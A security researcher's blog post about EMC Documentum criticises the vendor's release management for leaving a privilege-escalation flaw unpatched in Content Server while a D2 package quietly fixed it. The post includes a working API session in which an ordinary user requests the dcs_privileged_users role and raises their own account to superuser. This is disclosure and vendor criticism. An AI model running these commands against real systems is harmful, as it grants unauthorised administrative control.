Two years ago I was complaining about dcs_privileged_users group created during installation of Collaboration Services dar, though in order to understand how this group works you need to read a set of post about dynamic groups, but the main idea is pretty simple: if authenticated user is able to execute API commands (either having network access to Content Server or through API Tester component in WDK applications) he is able to gain superuser privileges:
Connected to Documentum Server running Release 7.2.0060.0222 Linux64.Oracle Session id is s0 API> apply,c,,EXEC, QUERY,S,update dm_user objects SET user_privileges=16 WHERE user_name=USER, __REQUESTED_PROTECTED_ROLES,S,dcs_privileged_users ... q0 API> ?,c,q0 objects_updated --------------- 1 (1 row affected) [DM_QUERY_I_NUM_UPDATE]info: "1 objects were affected by your UPDATE statement." API> ?,c,select user_privileges from dm_user WHERE user_name=USER user_privileges --------------- 16 (1 row affected)
Doesn’t it look strange? A severe vulnerability exists for a couple of years, but instead of remediating it vendor wastes time for less severe things like DmSampleServlet. For a long time I was unable to understand what is the reason of such EMC’s behaviour, but yesterday everything got clear for me. What happened yesterday? Yesterday I got an idea that I discovered a super mega severe vulnerability in D2 – getting superuser credentials without knowing any existing credentials (suck to be you if you expose D2 into internet, previously I was able to say the same only about D2-Config, the only problem is my friends/colleagues are using D2, moreover some of them have D2 exposed into internet and releasing a public exploit will probably hurt them, so I have tried to contact EMC representative and if I won’t receive any response I will make it publicly available on Tuesday), and in order to confirm my expectations I was need to install D2 (yeah, I hate this procedure due to introduced useless RSA Lockbox). And what did the installation do with my DEV ENV? It marked all vulnerable groups as protected:
API> ?,c,select is_protected,group_name from dm_group where group_name like 'dcs%' or group_name like 'dce%' is_protected group_name ------------ ---------- 1 dce_create_room_groups 1 dce_datatable_creator 1 dce_hidden_users 1 dce_room_creator 1 dce_user_manager 1 dcs_privileged_users (6 rows affected)
WTF? After some research I have found out that D2 ships with it’s own Collaboration Services dar which was released in March 2015 (D2 4.5 was released in April 2015):
zipinfo Collaboration_Services.dar |head Archive: Collaboration_Services.dar Zip file size: 2582778 bytes, number of entries: 194 -rw---- 2.0 fat 1991 bl defN 15-Mar-03 13:29 \bin\Artifacts\SysObjects\newsysobject.sysobject.artifact -rw---- 2.0 fat 4478 bl defN 15-Mar-03 13:29 \bin\content/04/-290777104/sysobjectContent_page_0 -rw---- 2.0 fat 11733 bl defN 15-Mar-03 13:29 \bin\content/04/-290777104/sysobjectContent_page_1 -rw---- 2.0 fat 1172 bl defN 15-Mar-03 13:29 \bin\Artifacts\SysObjects\move.xml.sysobject.artifact -rw---- 2.0 fat 530 bl defN 15-Mar-03 13:29 \bin\content/45/1763040245/move.xml -rw---- 2.0 fat 1558 bl defN 15-Mar-03 13:29 \bin\Artifacts\SysObjects\javadoc.zip.sysobject.artifact -rw---- 2.0 fat 255125 bl defN 15-Mar-03 13:29 \bin\content/61/1858709661/sysobjectContent -rw---- 2.0 fat 1183 bl defN 15-Mar-03 13:29 \bin\Artifacts\SysObjects\import.xml.sysobject.artifact
and this dar “does fix” a vulnerability (actually, I’m not sure about the correctness of fix because, for example, if you setup WDK app as “trusted client” you are still vulnerable):
zipstream Collaboration_Services.dar "\\\bin\\\content/55/-1014019755/runnableContent" ... Call AddAttributeValueToRole( "dcs_privileged_users", "is_dynamic", "T" ) Call AddAttributeValueToRole( "dcs_privileged_users", "is_module_only", "T" ) Call AddAttributeValueToRole( "dcs_privileged_users", "is_protected", "T" ) Call AddAttributeValueToRole( "dcs_privileged_users", "group_class", "module role" )
So, the only question is why this dar is not included in Content Server installation. I do not believe that it is caused by any compatibility issues (just imagine you have something dependent on dcs_privileged_users group and you install D2 – your functionality gets broken), it is just fault of release management:
- one guys qualified Collaboration Services as a source of vulnerability (from my perspective this is wrong because Collaboration Services is a part of default Content Server installation) and assigned issue to corresponding team
- Collaboration Services team fixed an issue (here should be a joke about one year required to fix a dmbasic script)
- nobody included new version of Collaboration Services dar into CS patch
If you think I’m wrong, below are another examples of such faults:
- ESA-2014-064 states that something was fixed in “6.7 SP2 P15 and later”, actually you may find a thorough explanation of what was “fixed” in What makes api/dmbasic suck blogpost, but EMC included a “patched” version of dmbasic binary only in 6.7 SP2 P17
- ESA-2015-131 (CVE-2015-4535) is also interesting form this perspective (note I do not say that it is remediated), you can find a thorough explanation in Why do EMC coders like static variables? blogpost, the problem is both Content Server and Process Engine were affected (both contain mthdservlet.jar) but EMC released a “patch” for Content Server only
One thought on “Weird release management”